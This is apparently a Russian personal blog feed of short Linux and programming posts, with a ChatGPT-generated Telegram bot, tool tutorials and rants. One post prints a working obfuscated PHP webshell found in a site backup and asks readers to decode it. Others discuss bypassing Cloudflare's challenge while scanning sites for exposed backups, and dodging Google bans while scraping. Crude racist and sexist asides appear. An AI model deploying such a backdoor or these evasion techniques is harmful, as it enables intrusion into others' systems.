Делаем из Vim IDE

В стародавние времена когда деревья были большими, трава зеленее, а мороженное стоило по 10 копеек, на Земле жили динозавры, и эти динозавры программировали в Vim.
( читать дальше... )
В стародавние времена когда деревья были большими, трава зеленее, а мороженное стоило по 10 копеек, на Земле жили динозавры, и эти динозавры программировали в Vim.
( читать дальше... )
Есть у меня SATA SSD (так уж исторически сложилось, что в русском языке NVMe тоже называют SSD, и требуется уточнение) замечательной китайской фирмы Apacer. Так вот, в один момент он перестал определяться. Понял я это по долгой загрузке Arch’а. Он что-то искал по UUID 1.5 минуты. Диск этот у меня был зашифрован через LUKS и использовался для хранения моих голых фото (шучу). Открывался он при старте системы по ключу из /etc/keys
. Я перепроверил /etc/crypttab
. Там все было правильно. Правильными были и права на файле-ключе — 600. «Смерть!» — подумал я. Диск ничего не ответил, ведь он же диск и говорить не может… Я попробовал передернуть. Я пихал в разные дырки, но ничего не помогало. Спалил что-то на материнке, потрогав ее? Возможно, но маловероятно, и проверить я это никак не мог. Тогда я вспомнил, что в Discover долго висело предупреждение об устаревшей версии прошивки чего-то… И в один день я, по всей видимости, случайно нажал на «обновить». Discover через fwupd
обновил мне прошивку диска, и тот перестал определяться… Когда это произошло, я не помню, так как компьютер у меня не выключался/перегружался неделю… «Нужен программатор!» — подумал я, а потом решил попробовать обновить прошивку на материнке… Для этого нужно просто файл кинуть на флешку. И после обновления прошивки материнки, диск начал снова определяться. Я посмотрел его SMART, там было записано всего 2 терабайта. fwupd
я удалил:
yay -Rns fwupd
VS Code — это мощный инструмент для разработки на Python, который легко настроить для работы с такими полезными утилитами, как pylint
, black
и isort
. Эти инструменты помогут поддерживать чистоту кода, единый стиль и упорядоченность импортов. Для поиска и устранения ошибок пригодится встроенный отладчик debugpy
, обеспечивающий удобный процесс дебага. В дополнение ко всему можно подключить искусственного помощника для ускорения написания кода. В этой статье мы рассмотрим установку и настройку этих инструментов, а также их интеграцию с VS Code.
( читать дальше... )
Flatpak - это универсальная система упаковки приложений для Linux, которая стремится решить проблему множества форматов пакетов. Она позволяет разработчикам создавать единый пакет приложения, который может быть установлен на различных дистрибутивах Linux без необходимости перекомпиляции.
( читать дальше... )
В этой статье я расскажу как развернуть локальные аналог Chat-GPT и настроить VS Code для работы с ним.
( читать дальше... )
Прочитал я намедни, такую новость 8-летний ребёнок без опыта программирования создал чат-бота за 45 минут, ролик стал вирусным. Ясно, что кликбейт, ЛПП и прочие нехорошие слова… Но я решил проверить на что же способен ChatGPT. Признаюсь, я его использую для написания простых скриптов на 300-500 строчек кода. Сегодня я решил проверить правда или миф сия кликбейтная новость… и она оказалась правдой (частично).
Я до этого не писал ботов для Телеграм. Да, я знаю Python, знаю какие библиотеки для это используются, так как сидя в чате про Python с соевыми омега-обрыганами и школьниками, постоянно вижу вопросы про aiogram.
Началось все с такого задания:
Напиши мне на Python чат-бота. Алгоритм работы такой. Сторонний пользователь пишет сообщение и оно отправляется в чат к владельцу бота. Если владелец бота отвечает на конкретное сообщение то бот его пересылает лицу которое его отправило, если просто отвечает то сообщение отправляется последнему написавшему
На что он мне родил такой код:
import telebot
from collections import defaultdict
# Токен вашего бота
API_TOKEN = 'YOUR_API_TOKEN_HERE'
bot = telebot.TeleBot(API_TOKEN)
# Хранилище сообщений (user_id -> last_message)
user_last_message = {}
# Хранилище последних сообщений каждого пользователя, отправленных владельцу
message_store = defaultdict(list)
# ID владельца бота
OWNER_ID = 'YOUR_OWNER_ID_HERE'
@bot.message_handler(func=lambda message: True)
def handle_message(message):
user_id = message.from_user.id
if user_id == OWNER_ID:
# Ответ от владельца
if message.reply_to_message:
# Если владелец отвечает на конкретное сообщение
original_message_id = message.reply_to_message.message_id
for uid, msg_list in message_store.items():
for msg in msg_list:
if msg.message_id == original_message_id:
bot.send_message(uid, f"Ответ на ваше сообщение: {message.text}")
return
else:
# Если владелец отвечает без привязки
if user_last_message:
last_user_id = max(user_last_message, key=user_last_message.get)
bot.send_message(last_user_id, f"Ответ от владельца: {message.text}")
else:
# Сообщение от пользователя
bot.send_message(OWNER_ID, f"Сообщение от {message.from_user.username} (id: {user_id}): {message.text}")
user_last_message[user_id] = message.message_id
message_store[user_id].append(message)
bot.polling()
Устроил ли он меня? - Нет. Я люблю асинхронщину:
Используй какую нибудь асинхронную библиотек, храни данные в sqlite. Владельцу добавь кнопки типа заблокировать, очистить диалог (есть ли у бота возможность очищать диалог?). Напиши Dockerfile и docker-compose для запуска.
Был высран такой код:
import asyncio
import aiosqlite
from aiogram import Bot, Dispatcher, types
from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.utils.keyboard import InlineKeyboardBuilder
from aiogram.filters import Text, Command
from aiogram.fsm.storage.memory import MemoryStorage
# Токен вашего бота
API_TOKEN = 'YOUR_API_TOKEN_HERE'
# ID владельца бота
OWNER_ID = 'YOUR_OWNER_ID_HERE'
# Инициализация бота и диспетчера
bot = Bot(token=API_TOKEN)
dp = Dispatcher(storage=MemoryStorage())
# Подключение к базе данных
async def init_db():
async with aiosqlite.connect('bot.db') as db:
await db.execute('''CREATE TABLE IF NOT EXISTS users
(user_id INTEGER PRIMARY KEY, blocked INTEGER DEFAULT 0)''')
await db.execute('''CREATE TABLE IF NOT EXISTS messages
(user_id INTEGER, message_id INTEGER, content TEXT)''')
await db.commit()
# Кнопки управления
def owner_keyboard(user_id):
builder = InlineKeyboardBuilder()
builder.add(
InlineKeyboardButton(text="Заблокировать", callback_data=f"block_{user_id}"),
InlineKeyboardButton(text="Очистить диалог", callback_data=f"clear_{user_id}")
)
return builder.as_markup()
# Обработчик сообщений от пользователя
@dp.message(Command(commands=['start']))
async def start(message: types.Message):
await message.answer("Привет! Отправь мне сообщение, и я перешлю его владельцу.")
@dp.message()
async def forward_to_owner(message: types.Message):
user_id = message.from_user.id
async with aiosqlite.connect('bot.db') as db:
async with db.execute("SELECT blocked FROM users WHERE user_id = ?", (user_id,)) as cursor:
row = await cursor.fetchone()
if row and row[0] == 1:
await message.answer("Вы заблокированы.")
return
await db.execute("INSERT INTO messages (user_id, message_id, content) VALUES (?, ?, ?)",
(user_id, message.message_id, message.text))
await db.commit()
# Пересылка сообщения владельцу
keyboard = owner_keyboard(user_id)
await bot.send_message(OWNER_ID, f"Сообщение от {message.from_user.username} (id: {user_id}): {message.text}", reply_markup=keyboard)
# Обработчик сообщений от владельца
@dp.message(lambda message: message.from_user.id == int(OWNER_ID))
async def handle_owner_reply(message: types.Message):
if message.reply_to_message:
# Если ответ на конкретное сообщение
original_message = message.reply_to_message.text.split("(id: ")[-1].rstrip('):')
target_user_id = int(original_message)
await bot.send_message(target_user_id, f"Ответ от владельца: {message.text}")
else:
async with aiosqlite.connect('bot.db') as db:
async with db.execute("SELECT user_id FROM messages ORDER BY rowid DESC LIMIT 1") as cursor:
row = await cursor.fetchone()
if row:
last_user_id = row[0]
await bot.send_message(last_user_id, f"Ответ от владельца: {message.text}")
# Обработчик кнопок
@dp.callback_query(Text(startswith="block_"))
async def block_user(callback: types.CallbackQuery):
user_id = int(callback.data.split("_")[1])
async with aiosqlite.connect('bot.db') as db:
await db.execute("UPDATE users SET blocked = 1 WHERE user_id = ?", (user_id,))
await db.commit()
await callback.message.answer(f"Пользователь {user_id} заблокирован.")
@dp.callback_query(Text(startswith="clear_"))
async def clear_dialog(callback: types.CallbackQuery):
user_id = int(callback.data.split("_")[1])
async with aiosqlite.connect('bot.db') as db:
await db.execute("DELETE FROM messages WHERE user_id = ?", (user_id,))
await db.commit()
await callback.message.answer(f"Диалог с пользователем {user_id} очищен.")
async def main():
await init_db()
await dp.start_polling(bot)
if __name__ == "__main__":
asyncio.run(main())
В целом как основа я подошел. Композ и докерфайл были правильными. Докерфайл я попросил переписать для использования alpine.
На это у меня ушло 6 запросов. После чего я переписал творчество бота, добавил логгирование, argparse и тп. Я скинул боту код с исправлениями:
<код>
Перепиши его. В общем когда боту пишет пользователь, то сообщение должно пересылаться полностью со всеми файлами и вложениями, а не только текст. Когда владелец просто пишет в чат с ботом, то ответ приходить должен последнему написавшему стороннему пользователю, если владелец отвечает (Reply) на конкретно сообщение, то ответ пересылается ботом в чат с этим пользователем.
То что он родил меня опять не устроило:
Убери это. await bot.send_message(args.owner_id, forward_text). Айди отправившего сообщения в базе. Когда мы отвечаем на сообщение, то нужно смотреть в базе кто его отправитель. Те нужно создать еще одну таблицу.
Но бот меня не понял:
Эта таблица должна выглядеть так:
CREATE TABLE IF NOT EXISTS messages (
message_id INTEGER PRIMARY KEY,
sender_id INTEGER,
)
Так же нужно добавить таблицу user_info где хранить записи типа user_id, fullname, username. Эти данные каждый раз обновляются когда пишет пользователь. Из этой же таблицы берутся данные, когда нажимаешь на кнопку Кто отправитель?
После еще пары перепиываний кода, я окончательно забил на интеллект этот и переписал уже все сам…
Из грубых ошибок в коде отмечу это:
def owner_keyboard(message_id: int) -> InlineKeyboardMarkup:
"""Создает клавиатуру с кнопками управления для владельца."""
keyboard = InlineKeyboardMarkup()
keyboard.add(
InlineKeyboardButton(
text="👁️ Whois",
callback_data=f"view_user_{message_id}",
),
InlineKeyboardButton(
text="🚫 Ban", callback_data=f"block_{message_id}"
),
)
return keyboard
Это какой-то неправильный счинтаксис из-за которого бот, написанный ChatGPT падал. Я это фрагмент переписал так:
def owner_keyboard(user_id: int) -> InlineKeyboardMarkup:
"""Создает клавиатуру с кнопками управления для владельца."""
return InlineKeyboardMarkup(
inline_keyboard=[
[
InlineKeyboardButton(
text="👁️ Кто это?",
callback_data=f"whois_{user_id}",
),
InlineKeyboardButton(
text="🚫 Бан",
callback_data=f"block_{user_id}",
),
],
]
)
Так же мне пришлось добавить обработку ошибок:
# https://docs.aiogram.dev/en/latest/dispatcher/errors.html
@dp.error()
async def error_handler(event: ErrorEvent):
logger.error("Error caused by %s", event.exception, exc_info=True)
Сделать закрытие курсоров после использования:
# Такое
cursor = await db_connection.execute(
"SELECT sender_id FROM messages ORDER BY ROWID DESC LIMIT 1"
)
result = await cursor.fetchone()
return result[0] if result else None
# Заменять на это
async with connection.execute(
"SELECT sender_id FROM message_senders WHERE message_id = ?",
(message_id,),
) as cursor:
result = await cursor.fetchone()
return result[0] if result else None
# Что аналогично
cursor = await execute()
result = await cursor.fetchone()
try:
return result[0] if result else None
finally:
await cursor.close()
Я переписал создание таблиц и часть запросов.
Меня порадовало то, что ChatGPT может генерировать довольно таки грамотные запросы:
await connection.execute(
"""
INSERT INTO user_info (user_id, full_name, username)
VALUES (?, ?, ?)
ON CONFLICT(user_id) DO UPDATE SET
full_name=excluded.full_name,
username=excluded.username,
updated_at=CURRENT_TIMESTAMP
""",
(user_id, full_name, username),
)
И вот что вышло:
https://github.com/s3rgeym/feedback-tgbot/tree/main
Протестировать можно тут:
frp — это утилита для создания обратных туннелей. Она позволяет получить доступ к локальному ресурсу за NAT через промежуточный сервер.
Многие знают про существование сервисов типа ngrok и localtunnel, которые позволяют делать нечто подобное. У них есть бесплатные тарифные планы, которые имеют ограничения по ежемесячному трафику и количеству подключений. Поэтому (и не только) в ряде случаев использование self-hosted-решений, таких как frp
, оказывается более предпочтительным.
( читать дальше... )
Многие пользователи Linux с большим стажем даже не подозревают о существовании этих замечательных инструментов, которые способны облегчить им жизнь…
( читать дальше... )
Сраный Сбер от которого пахнет могилами как и от значительной части его вкладчиц поверил в себя и теперь ищет лучших из лучших, наивно полагая, что кому-то эта срань сдалась:
Напишите, пожалуйста, программу на любом языке программирования, которая поместит + (2+3), - (3-2), или ничего ( ) в промежутках между цифрами от 9 до 0 (в таком порядке) так, чтобы в результате получилось 200. Например: 98+76-5+43-2-10=200.
Кто хочет себя испытать в решении тру-задач для формошлепов (которые в работе применяются не реже чем никогда)?
Ну и как полагается решение:
( читать дальше... )
Какой язык победит в сией битве? На каком решение будем самым коротким и лаконичным?
Тема посвещается памяти @kompspec’а, нашедшего работу за 20 рублей в час, и поэтому прекратившему посещать сий сайт. Любим пони, скайрим.
Эта статья не содержит описания способов обхода блокировок для доступа к противоправому контенту. Socks-прокси нужны исключительно для того чтобы смотреть YouTube и просить ChatGPT писать за тебя домашние задания!!! У первого какие-то проблемы со скоростью последнее время, говорят, что из-за отключения кеширующих серверов, а второй сам заблокировал жителей из России, Беларуси и Китая…
( читать дальше... )
Я написал скрипт, который выдирает с гуглокарт ссылки на сайты компаний. Теперь я хочу автоматически мышкой водить и собирать ссылки.
Нужно описание алгоритма чего-то типа такого:
Я не знаю как эту штуку назвать. Гугель, возможно забанит если двигаться спиралью… У меня пока идей нет
Речь идет про эту заглушку:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex, nofollow">
<title>One moment, please...</title>
<style>
body {
background: #F6F7F8;
color: #303131;
font-family: sans-serif;
margin-top: 45vh;
text-align: center;
}
</style>
</head>
<body>
<h1>Please wait while your request is being verified...</h1>
<form id="wsidchk-form" style="display:none;" action="/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f" method="GET">
<input type="hidden" id="wsidchk" name="wsidchk"/>
</form>
<script>
(function(){
var west=+((+!+[])+(+!+[]+!![]+[])+(+!+[]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+[])),
east=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])),
x=function(){try{return !!window.addEventListener;}catch(e){return !!0;} },
y=function(y,z){x() ? document.addEventListener('DOMContentLoaded',y,z) : document.attachEvent('onreadystatechange',y);};
y(function(){
document.getElementById('wsidchk').value = west + east;
document.getElementById('wsidchk-form').submit();
}, false);
})();
</script>
</body>
</html>
Мне ее нужно определить по косвенным признакам, те без чтения контента.
Я в последнее время увлекся поиском уязвимостей за вознаграждение. Раньше я пользовался сторонними средствами типа httpx. Но эта утилита убога чуть менее чем полностью и не умеет обходить тот же Clownflare, поэтому в 30% результатов я видел что-то типа:
{/* ... */"title":"One moment, please..."/* ... */}
Я написал свою утилиту httpscan. Это просто кросс-компиляция каких-то скриптов, используемых мною ранее. Так вот ее легко настраивать для поиска дампов, бекапов, конфигов, которые по чье-то невнимательности оказались в публичном доступе (полностью по вине админов и прочих жопоруков). Ну в общем у меня за обход проверки клауда с теми скобками отвечает метод bypass_cloudflare_challenge, а за детектипрование заглушки от клауда - detect_cloudflare_challenge. Я с дебаггером на паре десятков сайтов под клаудом проверил свой http-сканер и так не смог как-то по заголовкам научиться точно определять эту заглушку. Клауд не всегда отдает заголовок Server: cloudflare
, так же какие-то специфические заголовки где-то присутствуют, а где-то нет. Сейчас я делаю так: если есть заголовок Cache-Control
и он содержит no-cache
, то это 100% динамический контент, то читаем содержимое страницы, ищем в ней подстроку One moment, please...
, если она найдена, то парсим нужные данные типа action
формы и двух переменных east
и west
(видимо отсылки к негритянским rape-бандам east coast и west coast, которые в разгар войны замочили главную гангста парайдайзу). Так вот в чем проблема этого метода: если какой-то наркоман отдаст 20 гиговый архив с no-cache
, то мой пека уйдет в своп и не выйдет из него…
Я сканировал сайты на предмет наличия бекапов в корне, выкачал…
И нашел такие файлы в бекапе:
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = hf1(Array(10,10,19,16,13,10,7,37,15,19,42,16,32,15,12,10,12,7,15,42,13,10,13,15,41,18,14,12,12,30,37,14,41,18,20,32));$bi6[] = hf1(Array(9,29,4,29,40,27,2,21,17,5,21,28,47,44,44,1,6,48,35,44,44,36,3,40));$bi6[] = hf1(Array(38,25,8,19,2,17,13));$bi6[] = hf1(Array(45,33));$bi6[] = hf1(Array(38,31));$bi6[] = hf1(Array(39));$bi6[] = hf1(Array(23));$bi6[] = hf1(Array(46,5,17,13,44,29,2,22,44,14,8,21,22,13,21,22,24));$bi6[] = hf1(Array(18,11,11,18,26,44,25,13,11,50,13));$bi6[] = hf1(Array(24,22,11,44,11,13,29,13,18,22));$bi6[] = hf1(Array(13,0,29,17,8,19,13));$bi6[] = hf1(Array(24,2,43,24,22,11));$bi6[] = hf1(Array(2,21,17,5,21,28));$bi6[] = hf1(Array(24,22,11,17,13,21));$bi6[] = hf1(Array(29,18,14,28));$bi6[] = hf1(Array(25,19,7));foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
Может кто криптер опознал? Сомнения что это шелл, который вызывает в итоге что-то типа passthru($_REQUEST['cmd'])
у меня тащемта нет… Кто любит шарады и сможет восстановить исходный файл?
Я не буду расписывать преимущества ZSH над Bash, отмечу лишь то, что ZSH используется по дефолту во многих дистрибутивах Linux, а также с недавних пор и в macOS (тут должна быть шутка про Торвальдса и его макбук). Главной причиной повсеместной замены bash на zsh является встроенный механизм модулей, поверх которого было навалено такое великолепие, как Oh My Zsh.
( читать дальше... )
Я вижу тут всем нравятся подобные темы в стиле kompospec.
Задача: реализовать элегентное раскрытие фигурных скобок как в баше:
Условия:
expand
, приниающая строку, раскрывающая фигурные скобки с вариантами, перечисленными через запятую, и возвращающая массив с результатами. Пример реализации:def combine(a: list, b: list) -> list:
rv = []
for x in a:
for y in b:
rv.append(x + y)
return rv
def append(lst: list[str], add: str) -> list[str]:
return [x + add for x in lst]
def expand(s: str) -> list[str]:
head, *parts = s.split("{")
rv = [head]
for part in parts:
options, rest = part.split("}", 1)
rv = append(combine(rv, options.split(",")), rest)
return rv
assert expand("~/{.local/share,.config,.cache}/{foo,bar}-package") == ['~/.local/share/foo-package', '~/.local/share/bar-package', '~/.config/foo-package', '~/.config/bar-package', '~/.cache/foo-package', '~/.cache/bar-package']
{a..z}
и предусмотреть экранирование символово {},.
Дополнения:
Что за вложенные скобки? - А вот они:
~
❯ echo /path/to/{foo,ba{r,z}}.txt
/path/to/foo.txt /path/to/bar.txt /path/to/baz.txt
Примеры решений
( читать дальше... )
Я в течении 5 лет выпивал, наверное, по литру энергетиков, а чето на днях меня посетила шиза… Я решил изучить состояние зубов и оьнаружил кучу трещин, оголение корней… И я как-то это пытаюсь связать с употреблением энергоса.
Я изучил состав той байды, которую пью типа Адреналина:
Состав: вода, сахар, газ для насыщения напитков (диоксид углерода), регуляторы кислотности (лимонная кислота, цитрат натрия, фосфат калия), таурин, D-рибоза, L-карнитин, натуральный кофеин, витамин С, инозит, экстракт гуараны, экстракт женьшеня, витамин В6, витамин В12, краситель (бета-каротин), мальтодекстрин, натуральный ароматизатор;
таурин 399 мг, L-карнитин 100 мг, кофеин не более 30 мг, витамин С не менее 25 мг, инозит 21.7 мг, женьшень 4.8 г, витамин В6 0.8 мг, витамин В12 0.4 мкг.
Вещества в составе напитка, рибоза и карнитин, участвуют в обменных процессах на уровне клеток. Можно сказать, что они помогают создавать энергию (АТФ).
Пищевая ценность на 100 мл продукта: углеводы – 13 г, белки – 0,5 г, жиры - 0 г.
Энергетическая ценность 100 ml: 52 ккал.
Из самого вредного тут кроме сахара (от которого ничего не будет, если не жрать его более 50 грамм в сутки) - ЛИМОННАЯ КИСЛОТА. Она вреднее любой гадости… И я не могу найти грамовки сколько миллиграмм порошка смерти в этой дрисне. Я искал на английском, русском - нигде нет информации. То что она третья в составе говорит что ее меньше чем сахара, но больше чем таурина (400 мг!!!). И у меня сейчас мысли стоит ли начинать копить на вставную челюсть, купить фторлак и покрыть им зубы или сходить на нести искусственную эмаль на зубы
Ради эксперимента поставьте фото красивого мужика примерно своего возраста на фото анкеты, и расскажите как изменилось количество предложений работы. Мой знакомый побомбил, что чаще стали писать)))
Я, кстати, заметил, что не хочу общаться с женщинами, потому что не хочу чтобы меня рассматривали… как сексуальный объект
Так же интересует вопрос, а много таких компаний, где весь отбор отдан на усмотрение эйчарки? Где не бывает специалистов и тп. Тупо эйчарки и начальник, который не знает как git запускать (привет, Сбертех)???
Btrfs – это файловая система с легковесными снапшотами, которая позволяет создать самую настоящую машину времени, делая снимки состояния файловой системы (снапшоты) и монтировать их на лету. Этой файловой системе скоро стукнет 16, а значит уже можно ее попробовать.
( читать дальше... )
Арч, а значит все последнее
Ввожу что
pass show gocryptfs/secret/password
И выводит это сранное X-овое окно с запросом пароля… Проблема только в том, что он хранится в КлованВаллет. У меня вопрос к знатокам это плазму сломали, что-то там обновили и все сломалось или я что-то УДОЛИЛтм случайно?
Это решило мою проблему:
$ yay -S kwalletcli
$ micro ~/.gnupg/gpg-agent.conf
pinentry-program /usr/bin/pinentry-kwallet
Не знаю как и почему раньше работало и когда я успел все сломать
Рассмотренные ниже приемы будут полезны для пользователей прокси-серверов/VPN и позволяют скрывать запрашиваемые по DNS имена доменов.
Время на чтение: ~5 минут.
Сложность: Middle AnyKey Developer (нужно уметь запустить терминал).
( читать дальше... )
← предыдущие | следующие → |